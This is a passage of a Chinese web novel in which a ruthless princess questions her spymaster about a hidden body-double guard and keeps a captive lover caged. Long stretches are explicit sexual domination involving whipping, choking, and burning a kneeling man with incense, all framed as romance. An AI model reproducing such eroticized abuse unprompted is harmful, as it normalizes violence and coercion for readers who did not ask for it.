柳家既然有替身暗卫这东西,无论是柳十二还是柳十三,存在的一切意义本来就是为了替主人去死。 那么在六年前的时候,越长风又是怎么能轻而易举就把柳时言杀死了的? 除非,那时候在他身边根本就没有替身暗卫。 而这也是越长风一直不知道替身暗卫存在的原因——直到柳时言身死的时候,她都没有见过他的替身暗卫一次。 就算后来陆行舟告诉了她关于柳家家主被李代桃僵的事,从而知道了替身暗卫这东西的存在,她也没有立即联想到柳时言的替身暗卫—— 因为他一次也没有出现过。 但是他一次也没有出现过,是因为在玄武门事变之前,陆行舟已经把他拿下囚禁,在那改变所有人命运的一天一夜里他根本就没有机会守在自己的主子身旁,在合适的时机代自己的主子去死。 所以,本来狡兔三窟的柳时言才会把命交代在了自己的妻子手中。【你现在阅读的是 】 60-70 第61章 第61章那些多余的想法……(陆…… “……是。” 没有陆行舟的干预,就算玄武门事变的结局一样,柳时言本人的结局本来也不该是这样。 如果不是陆行舟在逼宫队伍还未出发之前便发现了窥伺在旁的柳十三并先行把他扣下,以替身暗卫的做法,大概会在废太子一方败局已呈的时候趁乱换下主子,然后孤身赴死,造成柳时言已死的假象好让真正的柳时言得以脱身。 而不是任由他上了越长风的马车,再在最脆弱的时候,没有丝毫防备之下,被一脸爱怜柔情的女郎用金簪穿喉而死。 越长风冷着脸,踢了踢他累得塌了下去的臀部:“跪好。” 两片白月光上鞭痕斑驳,划破的皮肉上还往外泊泊渗着血丝,像是一块由红绳织就的网。这副带着残缺美的景致不仅挑不起支配者的怜悯,还只有更加肆虐的嗜虐欲。 陆行舟跪直身子,脊梁如翠竹□□,脸色痛苦却依旧固执:“卑职所做的一切……全是为了主上。” 越长风微微眯眼,没有什么温度的笑笑:“让本宫亲手杀了驸马,是为了本宫?” 陆行舟平静的道:“主上本来就对驸马动了杀机。” “卑职不过是确保主上杀对了人而已。” 他的确没有说错。 身前却毫无预兆的受了一鞭,长长的鞭痕自胸前一路下延,胀痛的身体难受极了,偏偏难受之中带着一种异样的感觉,让男人难堪至极。 越长风显然并不买帐:“那为什么不直接把柳十三杀了,而是要费尽心思留他一命?” “卑职知道在替身暗卫背后藏着更多更深的秘密,而这世上不会有比柳家少主替身暗卫更好的突破点,所以这些年来一直都在尝试撬开柳十三的口。” 陆行舟答得如此之快,又是如此的理所当然。 但是,他一直都在巧妙的兜着圈子,回避最重要的问题。 “——既然陆司使说得这么冠冕堂皇,对本宫这么忠心耿耿。”越长风嘴角嘲讽的勾起,“那为什么你知道柳十三,柳孤城也知道柳十三,门外那些玄武卫也忠心耿耿的为你守着这个地牢,就偏偏本宫不能知道?” 陆行舟紧抿着唇,一言不发。 长鞭夹着劲风毫不留情的挥下,这次在男人背上留下长长的红痕,倒钩甚至掀起了一块皮肉。 他禁不住的抖了一下,跪着的双腿分得更开,大腿肌肉匀称有力,看在越长风的眼里更见诱人,一鞭接一鞭的抽得更加起劲。 “说话。” 陆行舟认命似的,缓缓阖上眼睛。 “因为……” 时间仿佛过了半辈子之久。 “他和先驸马太像了。” “那张脸不该出现在主上面前。” 长鞭破风之声传来,陆行舟下意识的瑟缩了一下,鞭子的触感却没有落在身上。 他难以置信的睁开双眼,对上的是女郎似笑非笑的脸。 那双笑意盈盈的桃花眼里,此刻是满溢的狭和恶意。 “陆行舟,你是为了本宫着想,怕本宫睹物思人——” “还是,出于你的私心,想要控制本宫身边出现的人?” 越长风向前逼近一步,修长的身影笼罩着他,高高在上的直直俯视着他。 “卑职不敢。”陆行舟低下头去,沉声恭顺的道。 越长风用鞋尖挑起他的下巴,秀眉一扬,饶有兴味的样子:“本宫怎么觉得你可敢得很?” 她顿了顿,嘴角微勾,语气柔和却没有一丝温度,“陆行舟,你可记得六年前在玄武门下,你是怎么对本宫说的?” 陆行舟自然记得。 六年前在玄武门下,他也是这样卑微的匍匐在地,一丝不苟地清理着她鞋尖沾上的、从她兄长和夫君身上流出来的血迹。 如今他同样是跪在她的脚下,同样被她用脚尖挑起自己的头,那双绣花鞋上的点点殷红却是来自他自己身体里的血液。 “卑职想要人人敬畏,人人惧怕,拥有让人不得不正视而又不敢去直视的权力。”就像六年前的那样,陆行舟的目光定定的锁在他必须仰视的女郎脸上,眼底犹如深潭,强行压抑眸底的那抹腥红。“那是……卑职投靠主上,希望得到的奖赏。” 越长风足尖往上,抵住了男人干涸的唇瓣,扭动脚踝上下蹭了蹭。 带着血腥味道的冰冷鞋尖印在陆行舟的唇上,这是他和主上之间最接近的距离。 越长风收起了没有什么笑意的笑容,眸光幽深,仿佛要从他的目光中探测出一丝异样。 不知过了多久,她才缓缓开口,“你最好永远都记得,你当时向本宫索要的是什么。” 陆行舟的唇刚刚好碰着她的鞋尖,却是一动也不敢动。爱洁得近乎病态的他此刻也没敢为她清理鞋面,唯恐被自己身上的血汗脏污沾染。 越长风慢悠悠地收回脚。“你说的那些东西,本宫都一件不落的全部给了你。至于那些多余的想法……” 她说到这里便点到即止。但言下之意再也清楚不过:当初他既提出做一场利益交易,那他们之间就只是一场纯粹的利益交易。一旦有了“多余的想法”,这场交易便可以随时终止。 这正正是自六年前的投诚开始,陆行舟一直最害怕发生的事。 所以,他才必须要做出为权势所惑的模样,让她相信这就是他想要的全部东西。 陆行舟跪在地上,定定的仰视着木无表情的女郎。 越长风总是一副笑意盈盈的样子,明媚张扬的笑脸是她最好的伪装,甚至她越是愤怒的时候笑得便越是灿烂。 唯独对着陆行舟时她连虚假的笑意也不愿施舍,不是冷嘲热讽,就是公事公办,带着上位者对着下位者的居高临下的轻蔑和不屑。 陆行舟曾经以为那是因为他是一个背主的叛徒,她不信他不会像“出卖”了她的兄长一样出卖自己。 直到这一刻他才恍然大悟,越长风从来都知道自己那些见不得光的卑劣心思。但她并不在乎他怎么想,在她心中他陆行舟就是一件趁手好用的杀人工具,一件工具并不需要任何感情,她也不会容许这段利益关系之中掺杂了任何杂质。 她可以对柳孤城临时起意,可以对顾锦卿蓄谋已久,可以和沈约玩师生禁忌的游戏,但唯独是他陆行舟,必须拎得清楚,掂量得住自己的位置。 他只属于见不得光也上不了台面的永夜。 他秘密囚禁了柳十三整整六年,但无论是柳十三还是他自己,其实都入不了越长风的眼。反而是那个半成品的柳十二…… 陆行舟垂眸,掩去了眸中的五味杂陈:“卑职明白了。” 越长风像是认可了他的答案一样轻轻踢了踢他,转身头也不回的往外走去:“收拾干净自己。” “然后上去一五一十的告诉本宫,你这些年来从柳十三身上都套出了什么‘有用’的信息。” ----- 这一夜越长风又一次的没有回府,而是宿在宫中。 慈元殿里,太后看着没有通报、可算是直闯而入的女儿,慈祥的脸色有些挂不太住:“昭阳怎么這麼得閒,驾临母后这慈元殿来了?” 她的声音是一如既往的温婉平和,这话却怎么听怎么别扭。 越长风对亲生母亲的阴阳怪气毫不意外,反正她不让弟弟亲政早就已经和太后撕破了脸,她也没有什么特别想要和母亲和解的意思。 她直直走到太后面前,既不行礼,也不坐下,直直站在那里,开门见山的说:“沈相忙于新政,近来还要处理江南水灾和堤坝倒塌的事,所以我打算为皇弟换一位老师。” 太后脸色一变:“沈相是先帝遗诏定下的辅政大臣,先帝遗诏让他为皇帝授业解惑,这帝师怎么能说换就换的?” 看着太后面容紧张,人也几乎便要从椅子上一跃而起,越长风吞了一口口水,只觉味道苦涩难明。 在她想要跟沈约读书的时候,她的母亲一句好话也没有帮她说过。 在她被承元帝没收行走紫宸殿的辅政之权的时候,她的母亲还在欢天喜地的为她置办嫁妆,不厌其烦的教她嫁入柳家之后侍奉公婆、主持中馈的人妇之道。 如今她不过是稍稍试探一下,得到的反应便这么大。而那只不过是因为越成璧是她老来得之的小儿子。 越长风微微一笑,眉眼弯弯的看不出有什么不悦的感觉,说出来的话却是让人细思极恐,“先帝遗诏是怎么来的,母后不是很清楚么?” “吾之意志,就是先帝遗诏。” 太后脸色煞白,下意识的四周张望,心虚之情溢于言表。 殿内宫女都是眼观鼻鼻观心,什么意思也听不出来,什么意思也不敢听得出来。 “你——” 太后语塞了好半天,才终于泄了气,轻轻叹道:“那昭阳打算让谁给你皇弟当老师。” 越长风依旧笑得一脸如沐春风,只有一双眼睛像是盯着猎物的鹰隼,不放过面前之人一丝一毫的动静。 “母后觉得……” 她慢条斯理的开口。 “户部尚书萧度,此人如何?” 第62章 第62章成瘾、“爱” 越长风回府的时候,早已做好了柳孤城又跑了的心理准备。 毕竟在他主动表现出臣服之后,就在事情似乎正在往好的方向发展之际,陆行舟直接在他面前喊出了那一声柳十二。 他显然也知道关于柳十三的那些事,甚至知道的不比陆行舟少,她却当他不存在一样直接跟了陆行舟出去。 仿佛在给他机会和理由离开。 所以在越长风走进屋里的时候,眼前的景象让她不禁一僵。 室内只有微弱的烛火,往精工打造的巨大鸟笼上镀上了一层薄薄金光。 暖煦柔和的金光下,男人在铺着软垫的地上端正跪坐,本来是清冷矜高的样子,也许是因为身上那件华靡的大红纱衣,映得脸颊艳若桃李,薄唇红润得几乎要滴出血来。 见她进来,他只是定定的注视着她,墨黑如夜的眸光深处似有烈火灼然。 越长风走到笼子前,笼子的门轻轻一推便开,竟是由始至终便没有锁上,而笼子里的人又竟是由始至终都没有走出笼子的意思。 女郎径自走到床沿坐下,抬脚轻慢地踩在男人跪坐着的大腿上。 “怎么不逃了。” “柳十二。” 柳孤城默默观察着她的脸色,那是他从未见过的的阴沉,酝酿着一种毁天灭地的、吞噬一切的怒气。 在他的认知里,越长风无论做什么都是胸有成竹的,带着对全局掌控的从容和自信。 即使是在对他进行残忍的调教,疯狂无底线的折辱和索取,她依旧是以高高在上的掌控者身份,享受着绝对控制的过程,从中得到支配的快感。 越长风从来都 不会容许自己的情绪凌驾在理性思考之上。 但此刻柳孤城感受到她自己的情绪也是悬于一线,他从未见过她如此濒临崩溃的样子。 他膝行着挪到床边,讨好地蹭蹭支配者的小腿,没有束起的青丝散落,轻柔地擦过她的肌肤。 “柳十二……在十二年前已经死了。” “我是柳孤城。” “柳孤城……是主人的奴,主人的囚笼就是奴的归宿。” 越长风羽睫轻颤,似乎有那么一丝的动容。 周身阴沉冷戾的气场却没有半分消退。 她一言不发,沉着脸掐住柳孤城的下巴,目光浑浊却不失猎食者本能的锋锐,仿佛要把面前猎物拆吃入腹。手上的力道重得指尖都泛白起来,男人的下巴被生生掐出了青紫的淤痕。 柳孤城感觉得出她的状态明显不对。如果陆行舟在此,大概会比谁都清楚越长风此刻的心理状况。 越长风有性\瘾。 平日潜伏的性\瘾在遇到不受控和不如意的事时便更加的激发出来,她需要借着对身体和快\感的掌控来找回缺失的主导权和安全感。 自玄武门事变之后,她每一次进宫面见父皇或者母后之后都会“发病”。 如果沈约在此,大概会比谁都清楚越长风性\瘾的成因。 表面风光无限的昭阳公主,从来都不是被身边至亲所选择的那一个。 承元帝用养蛊的方式养出了玄武门下唯一生还的“蛊王”,但他属意的继承人本来就不是她,而是她的长兄。 太后表面上对她母慈女孝,在她的心目中长女却永远都要为幼子让路。 所以她不想被选择了,也不想被给予,她要做作出选择的那一个,让别人用破碎的身体和尊严来满足自己、取悦自己,让所有人都知道雷霆雨露皆是她所恩赐。 ——却反而陷进更深的深渊。 但柳孤城不是陆行舟也不是沈约,他永远也不会知道,看似人生轨迹截然不同的两个人,在背后其实何其相似。 越长风把他调教出了性\瘾,强迫他承认需要自己坚定不移的选择和救赎,把他打造成了一个和自己一样的人。 ----- 越长风冷着脸,一把拽着男人脖子上的项圈把人拽上了床,一手拉扯项圈上的牵引链,另一手抓在他伤痕累累的腰间。 化身成淬炼名剑的大匠,用不容抗拒的力量一下一下锤着烧红的烙铁。 收紧的牵引链让柳孤城的脖子只能高高向后仰起,倒着头对上越长风居高临下的目光。 “你是什么东西,再说一次。”她哑着声音,在他的耳边呢喃。 柳孤城正要回答,越长风又故意用力。 “呃——嗬——!” “你的主人是谁。”她又问。 在他开口回答的时候,越长风再一次让他只能惊呼出声。 她掐着他的脖子命令:“告诉本宫,你有多需要本宫的选择。” 柳孤城必须尝试开口回答,而她每一次都让他开不了口。 越长风反反复复地问着,又反反复复地冷笑讥讽:“满口谎言的小骗子,本宫可不会信你这张嘴说出来的鬼话。” 她宁愿他用另外一张嘴向她证明自己的驯化和归属。 柳孤城努力抬起瘫软成泥的身子迎合身后的人,他知道越长风的状态很不好,虽不知道原委,但他想去安抚。 越长风像冰锥一样锋锐冰冷的眼神在那一刹间稍为僵住,染上了一丝迷惘,本来将要溢出唇边的诛心之语一下子卡在那里。 趁着那一下空隙,柳孤城喊了一句:“我喜欢你……” 在一点也不单纯、一点也不对等的情景之下,骤然听到那样纯情的真情告白让越长风彻底愣神了,一下子忘了自己到底在做什么,停下动作怔怔的站在那里。 “奴需要主人……”柳孤城重新把自己放回卑微的位置上,却仍是毫不吝啬表达自己的感情。 越长风突然回过神来,扯着链子低头吻上了他。 她的吻是前所未有的疯狂,唇舌入侵男人口中的每一寸土地,褫夺他的每一丝气息,眸中是纯粹不加掩饰的占有欲。 她索性把链子绕在腕间,双手环抱住他,在他耳边轻声却坚定的说:“叫我鸢鸢。” 她允许他说话了。 柳孤城一声又一声“鸢鸢”的叫着,一点又一点的被坚定不移的动作送上云端。 “我爱你。”他颤抖着声音说。 越长风埋首在他的后颈上,闷声轻笑,没有回应那一个爱字。 薄唇带着不容忽视的力度落在他的脖颈上,感受着血脉的卜卜跳动,在每一吋肌肤上都烙上属于自己的印记。 她一手调教出来的人,竟然还有让自己惊喜的地方。 “本宫要的是你绝对的臣服和忠诚。” “你能做到么?” 柳孤城正要回答,越长风的手指侵入他的嘴巴,扯着他下意识吐出的舌头玩弄。 ——她故意不给他机会回答。 知道他做不到,也不愿意听他天花乱坠欺骗自己。 她的胸口与柳孤城的背后严丝合缝的紧紧相贴,彼此的心跳声毫无隔阂地传递给了对方。 从侧面看去,男人被强行撑开的双唇泛着水光,唇色鲜艳得像是枝头上盛开的桃花。 越长风清楚听到自己的心跳加速。柳孤城显然也感觉到了,直往她的怀里蹭。 他不仅感受到了支配者动心的心跳,还感觉到她冰冷坚硬的心悄然融化、软塌。 柳孤城悄悄回过头来,看到了女郎嫣红的眼角。 他从未见过越长风这么难受的样子。 柳孤城不知道,可越长风对自己这么难受的原因再也清楚不过—— 走到这一天,她已经权倾天下,掌握住所有人的生杀命脉,但是本该和她最紧密相连的亲身母亲还是没有选择她。 她的亲生母亲,不仅选择了那个跟扯线木偶似的傀儡儿子,而且还为了他而和聚贤阁的“反阁主派”勾结在一起。 在慈元殿里她不过小小试探,太后便原形毕露。 但她本来也应该已经习惯了这种难受。 毕竟被背叛的真相虽然骇人,但那也不是一天半天的事,其实并不那么难以接受。 难受的时候找件称心如意的工具,发泄了心头那些暴戾的情绪,人生还是要过下去,该做的事还是得做。 唯独这一次,躁动的心竟然被那一声声的“鸢鸢”和“我爱你”所抚平。 越长风意识到自己有了软肋。她把这条软肋折了羽翼关在笼子里,可是她关着的还有自己。 她还不信一头恶狼折了羽翼,就真的会成为柔弱无依的金丝雀。 ——凡我所求,皆受其所困。 最后到底是谁困住了谁,这样的认知才是让她最难受的地方。 可越长风从来都不是一个逆来顺受的人。 她把柳孤城的身子翻了过来让他平躺在床上,手臂从腋下插入锁死,膝盖顶在他的腿间,男人顿时成了砧板上的鱼肉,被死死制住动弹不得,成了一只任由主人施为的宠物犬。 她惩罚性地在毫无招架之力的宠物身上咬下一圈圈殷红的齿痕,眼框像是著了魔一样的暗红,死死地盯着他柔和的面庞,厉声问:“你是什么东西,胆敢和本宫说爱。” 越长风阴沉着一张脸,反而柳孤城泰然自若,就算处于屈辱的位置和姿态,脸上依旧挂着温柔缱绻的微笑。 “奴是主人想要的任何东西。”他低眉顺眼的轻语。 乖巧顺从的答案,但越长风心里难受,所以 她偏不要让他好过。 “那本宫要你做柳十二。”她冷眼睥睨着他,“你做不做?” 第63章 第63章正主墓前、三炷香 柳十二在十二年前已经死了。 柳孤城从他的残躯中获得新生,自己赋予了自己新的名字、身份和生存意义。 除了这些年来生死与共的顾锦卿外,没有人会也没有人敢在聚贤阁主面前提起“柳十二”这三个字。 他已经今非昔比,手里不仅掌控自己的命运,还掌控着聚贤阁里所有人的共同利益,这三个字早已随着他的过去长埋地下。 直到这一天它重见天日。 “柳十二……并不存在。”柳孤城压下心头翻滚的情绪,沉声说道。 “不,”越长风的手轻轻掐着他的脖子,拇指轻按项圈下滚动不已的喉结,乐此不疲的逗弄着,“因为柳时言死了,柳十二才真真切切的存在。” “柳十二本来就是柳时言的替身。”她眉眼弯弯的注视着柳孤城,笑中不无轻蔑恣慢之意,“深爱公主的驸马死了,作为替身的柳十二才有了存在的需要,来代替正主去爱他的未亡人,不是吗?” 那一夜,高高在上的主人像最亲密的恋人一样亲他、抱他、揽他入怀,在温香软玉之中沉沉入睡——仿佛他真的是代替了柳时言的替身柳十二,又或者是主人抛高掉下肆意把玩的一件玩物。 无论是哪一种认知,都让他的内心苦涩难辨。 但是在苦中竟还夹杂了一丝就连自己也难以接受的甜。 出奇的是第二天一早醒来,越长风便再也没有提过柳十二这三个字。 恍惚前一晚那些什么爱、替身、正主的,统统不过一场幻觉。 越长风开始忙了起来。每天早出晚归,来回宫中、尚书省和长公主府,柳孤城一天到晚都没有见过她多少次。 她似乎在刻意瞒着他自己的行踪,可柳孤城自己又何尝不是身怀秘密。他看似每天乖乖地待在屋里的巨大鸟笼之中,打开了一条缝的窗子却总是飞进来一只不起眼的小鸟,穿过笼子的栏杆稳稳地落在笼中之人的掌心。 过了一会,又稳稳地飞了出去,拍着小小的翅膀越过长公主府的高墙,直冲天际。 越长风直到深夜才回到自己的院子里。 屋门被推开的声音一响,巨大鸟笼里的男人条件反射的跪直身子,熟练的推开笼门爬了出去。 项圈上的牵引链拖在身后,发出的叮当声响和身上戴着的金铃合奏出令人愉悦的乐曲。 “想我了么?” 玉手揉了揉他的发顶,顺势牵起垂在地上的牵引链,牵着他走到一旁的软榻坐下。 柳孤城倚着她的小腿跪坐,拼命蹭着她的膝盖,无声地给出了自己的答案。 大煞风景的咕噜声不合时宜的响起。 越长风心下了然,嘴上还是问了一句:“又没吃东西了?” 柳孤城耳根一红,摇了摇头。 吃东西就代表着发\情,而始作俑者又整天不在身边。没有主人为他“解决”,他可不敢胡乱发\情。 越长风静静的注视着他,眸色渐深。 转身让人传了晚膳进来,一口一口的喂着她那装得一副乖顺的奴宠,看着他的身体开始发烫,晃动着全身上下的铃铛,像藤蔓一样往她身上攀去,嘴里发出暗哑难耐的喘息。 越长风斜倚在软榻上,抬脚轻踢高仰着头、渴望难耐的小金丝雀,懒懒说道:“本宫累了,自己扇吧。” “……是,主人。”柳孤城强自撑着跪直身子,羞耻到了极致的动作偏偏给他做出了几分风骨。 ——却也只是给支配者折辱取乐的几分风骨。 越长风一脸抽离的看着面前男人张着微微颤抖的手,僵硬的一下一下扇下去,痛苦得一张俊美无俦的脸都扭曲起来,鼻息却是越发粗重燥热,死死咬着牙关不让羞人的声音溢出嘴边。 她还时不时的加以一些漫不经心的“提点”:“腿分开,别让本宫说第二次。” “不会数数吗?” “一……呃、嗬……二……” 支配者却还不满意:“你这是在扇,还是在摸?” 扇巴掌的声音更大了,反而报数的声音细如蚊呐,沙哑晦暗难辨。 越长风让他停了下来,脚尖轻抚涨红得可怕的金丝雀:“啧啧啧,真可怜。”声音慵懒淡然,仿佛她不过是一个毫无关系的旁观者,而不是这一切的始作俑者一样。 她牵着男人脖子上的牵引链走进笼子,把他抱到床上,动作是和刚才的冷漠抽离截然不同的细心和温柔。 “夜深了,睡吧。”她的声音也是温温柔柔的,话里的言下之意却比刚才的残忍程度毫不逊色。 越长风抱着他,像抱着心爱的玩偶一样沉沉睡去,没有半点要赏他释放的意思。没有她的命令,柳孤城也只能像玩偶一样任她抱着,不能动弹半分,也不能自行解决。 汹涌的情潮直到后半夜才稍稍平复,在他终于累得昏睡过去的时候已是天光将至,越长风悠悠醒转,眸光深深的凝视了他的睡颜半晌,才果断的起身离去。 ----- 又到夜晚。 柳孤城没有等到越长风回府,而是等来了长史常茵,带着几个下人把他按在铜镜前,给他穿上来时那套清冷华贵的月白锦衣,又好好梳洗打扮一番,戴上金冠玉带,关在笼里的低贱奴宠在那一瞬间仿佛又变回了孤傲高寡的名门公子、四大世家之首的年轻家主。 常茵也按捺不住惊艳:“还真是像……不,比他还好看。” 柳孤城面色一沉,眸光骤然变得冷厉。 他自是清楚那个“他”是谁。主人固然有时刻提醒他过去身份的权力,但不代表任何人都可以将他和曾经的柳时言比较。 常茵也是见过大风大浪的人,可不会就这样被吓倒,哑然失笑的摊了摊手:“常某不过是奉了殿下之命,至于殿下为什么要你穿上这身衣服,你今天的身份是什么,现在要去的是什么地方,想必郎君心中有数。” 然后趁着柳孤城呆愣住的时候,连打眼色让人将他塞进马车。 马车停在了对柳孤城再也熟悉不过的地方。 柳家墓园里一片死寂,除了墓园中央一抹单薄的素色身影外连一丝生人的气息也没有,在星月黯淡的夜晚更显诡异。 重重云层后透出来的微弱月光映照在墓园中央那座柳家前少主、长公主先驸马的陵墓之前,照得那抹身影更加孤冷凄清。 就像元旦那日一样,女郎一袭素裙,梳成妇人发髻的青丝上别着一朵小白花,那是一身未亡人的装扮。 柳孤城也是一身肖似其兄的衣着打扮,只是元旦当日是他刻意设计,现在却是被对方所逼,本来他以为自己在暗而对方在明所致的主动权已经完全对调。 对调了的,还有两人此刻所站的位置。 柳孤城带着五味杂陈的心情踏进陵园之中,在九个月前他还是站在墓园中心吸引对方注意的哪一个,现在却是自愿地被逼、在被逼中自愿地成为支配者想要的模样、一步一步走向对方的人。 走到离柳时言的陵墓只有三步之遥的时候,伫立陵前的素衣女郎慢悠悠的转过身来。 “柳郎。” 和低调朴素的衣裙不同,女郎的面容张扬艳丽,一双多情的桃花眼中眸波流转,带着一丝若有若无的情意,在无声之中诱人深陷、沉沦。 柳孤城看得怔住了,过了不知多久才回过神来。 “主人。” 本该是公子如玉、傲骨铮铮的人,驯服地低下了高傲的头颅。 越长风的嘴角满意地上扬,“还记得第一次在这里相遇时,柳郎还是一副宁死不屈的样子么?” “那副矜贵孤高的傲骨,本宫想来还是有些怀念。” 柔和的尾音拖得长长的,仿佛真的带了一丝回味和遗憾之意。 柳 孤城绝望的阖上了眼睛:“主人……我……” 他为了她折断了傲骨,成为了任她主宰掌控的一件玩物,在她面前那些卑微不堪的过去统统无所遁形。 他又如何为了她,而变回曾经的那个柳孤城? “逗你的。”越长风轻松的说着,笑声像银铃般清脆,毫无压力的仿佛把别人的情绪玩弄于股掌之间的从来就不是自己。“比起被天生的棱角刺伤,本宫还是喜欢把玩彻底磨平了的东西。” 她装模作样的叹了一口气,脸上餍足的神情不经一丝修饰:“柳郎是我亲手磨圆了的作品,我又怎会不喜欢呢?” 柳孤城的眼里掠过了一丝哀痛,却很快便重归平静,恍若无风的湖面一般平静无澜,清澄见底。 “主人喜欢就好。” “好!”越长风爽快的称赞。 然后话锋一转,“把衣服脱了。” 柳孤城一下子彻底僵住。 “怎么?”越长风秀眉一挑,似笑非笑的看着他:“很意外?” 柳孤城连忙摇了摇头,主人的命令已经深入骨髓,他颤抖着手指解开腰间华贵精致的玉带,一件一件的脱去身上衣服,也一件一件的脱去了他重新获得作为“柳四郎”的做人尊严的假象。 越长风满意地摸了摸他身前三个小金环,上面的“规矩”已经在更衣的时候脱了下来,可穿在身上的金环早已被焊死,那是男人作为她的所有物,一个就算是死也无法消除的印记。 “为什么要让人给你穿衣,反正到了最后还是要自己脱掉?”她直接问出了他心中疑虑。 然后又一脸无辜的歪着头,一双桃花眼弯成了月牙儿,一脸愉悦的自问自答:“就只是因为我想呀。” “从第一次在这里看见你之后,就已经这么想了。” 越长风爱不释手的摩挲描摹着他精壮的胸腹,摸了好一会儿才收回玉手。 然后从一旁放着的祭拜用品之中拿起了三炷线香,点燃了线香末端。 轻烟袅袅之中,越长风按着柳孤城的肩膀,让他在自己名义上的兄长、曾经作为他生命全部意义的“少主”陵前跪了下去。 “本宫现在要给驸马上这三炷香。” “用你的身子来做我的香炉,好不好?” 她最后的问句像是在征求柳孤城的同意,用的却是不容抗拒的命令口吻。 第64章 第64章香炉、向天下宣告 香……炉……? 柳孤城还呆愣愣的站在那里,越长风已经拿着三炷线香在陵前深深鞠了一个躬,神情肃穆彷佛是在做些什么神圣庄严的事。 然而她一站直身子,便对着柳孤城不怀好意的一笑: “跪下。” 柳孤城再一次犹豫了。 在柳时言的陵前下跪,就好像回到了过去作为替身暗卫的身份,柳时言是高高在上的主子,而他柳十二不过是主子脚下的一条影子。 他早已经获得了自己的身份,作为一个人而堂堂正正的站在柳时言的面前。 站着的人,又怎会想跪? 越长风的神色却倏地变得冷冽,声音瞬间降至冰点:“怎么,还要本宫再说第二遍?” 站着的人一下子跪了下去。 迟来的顺从换来的只有支配者冷漠的下一个命令:“手放在胸前,自己拉着金环。” 青涩的樱桃瞬间变得饱满成熟,鲜艳欲滴让人禁不住的想要咬上一口。 越长风却没有这么做,而是把一炷线香凑近了他向外凸出而更加起伏分明的胸肌。 第一炷香,祭奠那个教她看清一切感情本质的人。 让她学会,世间所有的感情都不过是一场权力游戏;每当她爱一个人胜于对方爱自己,这份感情只会成为对方可以倚仗的资本,用来获得对她的全面控制。 面对跪在面前的人,她再也不会犯一样的错误。 越长风俯身,眸光深深的凝视着他:“求本宫用你的身子。” 柳孤城垂眸,这次不敢有所迟疑:“求主人用奴。” 越长风面色稍霁,眼中重新有了一丝温度。 她温柔的与他对视,燃烧的线香瞬间灼在男人挺起的胸膛上。 疼痛刹那间被扩至全身,炽热的灼烧感让柳孤城的眼前掠过一片漆黑,脑海中一边空白,恍惚回到了暗卫营里那些不见天日的日子,一字一句或一个动作和少主稍有偏差便被严刑加身,毫不留情。 “痛……好痛……” 明明这些年来他所忍受过的痛苦远远不止于此,意识回到了少时状态的柳孤城却忍不住像那时一样哀呼出声,声音也不像平时那样清朗平和,反而带了一丝与年龄不符的少年感。 哀怜的模样让越长风的发泄欲和征服感获得了彻底的满足,她弯下腰去把他抱在怀里安抚,像是安慰着受惊的小宠一样不停的按揉又梳理着他的头毛。 待他不再颤抖的时候,还未彻底熄掉的线香再次摁了下去,仅存的火光被彻底湮灭,余下的线香被随手抛在地上。 “这一炷香本来是烧给柳时言的。”越长风站直身子,慢悠悠的说道:“可是,他不配得到烧香代表的身后福德、平安喜乐。” “所以,就委屈柳郎代为接受了,好不好?” 柳孤城一时百感交集,有气无力地浑身颤抖,舌头像打了结,一句完整的话都说不出来。 越长风站直身子,拿着余下的两炷香又拜了一拜。 第二炷香,祭奠所有她曾经拥有过的梦想和善良。 人生身如浮萍,亦如逆旅。 生而为人已经很累了,她本就不必与人为善。 一个人只要学会去爱自己、对自己好,那就够了。 待她拜完转过身子,柳孤城再也清楚不过这一炷香下一步会落在哪里。 疼痛和灼烧感还在胸口上残留,他低头看着一片红肿,眼色晦涩难明。 越长风缓缓绕着他的身子踱步,最后停在了他的身后。 他感觉到支配者的目光落在自己的臀部。 越长风看着两片又大又圆的白月光,平时训诫落下的痕迹他的身子都恢复得很快,唯独有那么几条旧伤看来是旧时留下,小时候重重刻下的伤疤成了一辈子无法覆灭的痕迹。 自己的东西,总该要有属于自己的印记吧? 越长风在男人身后蹲了下去,动作温柔的顺着他的后背轻抚,柳孤城却知道这种带着安抚意味的动作不过是残忍的先兆。 白月光上落下两下不轻不重的巴掌,示意他把臀部撅起。 柳孤城无法看见背后支配者的动作,只能用身体感受越来越近的灼烧感。 那股灼烧感却停在身后只有一指之隔的距离迟迟没有消散,而且还不是停在同一个地方,而是像在玩弄他一样打着圈圈,无声地引他猜测到底会落在何处。 “主人……求求你……” 柳孤城咬牙切齿的说着,也不知是在遵从支配者的命令求她使用自己,还是在求她快点结束这种胆战心惊的折磨。 “啧啧。” 越长风轻轻笑着,在男人看不见的身后目光深邃,带着浓烈得可怕的感情,两指捏住线香末端,轻烟袅袅的首端朝那片白月光上一块稍稍凹陷的旧疤狠狠抵了上去。 熟悉的灼烧感烫在不同的位置,二十年前的旧伤早已不痛,柳孤城的心里却清楚不过那是什么地方,身心的双重疼痛让他双腿止不住的打颤,鼻息炽热粗重,几乎便要坚持不住跪姿而瘫软在地。 “还有一炷。” 越长风慵懒的声音从头顶飘下,意味着残忍的玩乐还没有结束。 这一炷香拜的是什么,她没有在心里默念,而是朗声说了出来。 “第三炷香,祭奠过去的人生。” “柳孤城,准备好迎接你的新生了么?” /更多内/容请]搜索[频道:. 柳孤城跪直身子仰着脖颈,用眼光刚好瞥到越长风此刻的样子。 女郎手执最后的一炷香,弥漫的烟雾在她的脸上罩了一层薄纱,在微弱的月光下笼上了一层充满距离感的、近乎神圣的光芒。 只有她有资格提起 他的过去,也只有她有资格彻底抹掉他的过去。 他来时是以柳时言的替身、作为影子的柳十二的身份,而支配者在他的前主墓前对着天下宣告,他从此便只是柳孤城,过去种种不再存在,这是他新生的开始。 “柳孤城……准备好了。” 一阵阴风吹过,男人微微颤抖的声音几乎被风吹散,显得别样的不真实。 越长风用脚尖轻点他的背部让他趴下\身子,一手拿着最后的一炷线香,另一手在他身后极尽拨弄挑逗之能事。 柳孤城的身子一软,她看在眼里也没发怒,只是微笑着说:“会让你更舒服的。” “这第三炷香是对新生的美好祝愿,就不要让它熄掉了,嗯?” 柳孤城不知她此话何意,但还是乖巧的点了点头:“是,主人。” 越长风看着脚下意乱情迷但仍不忘规矩的男人,勾了勾唇。 线香精准的落在两片白月光的中间,和表面接触的却不是燃烧着的首端,而是方才被支配者用手握着的尾端。 第三炷香,稳稳的插在了属于它的香炉里。 柳孤城一下瑟缩,愕然抬首,动作带动了香炉里的线香剧烈发抖。 越长风温温柔柔的笑着提醒:“这一炷香代表的是你和我的新生。” “它能一直燃到尾端,你和我之间才能长长久久。” “明白了么?” 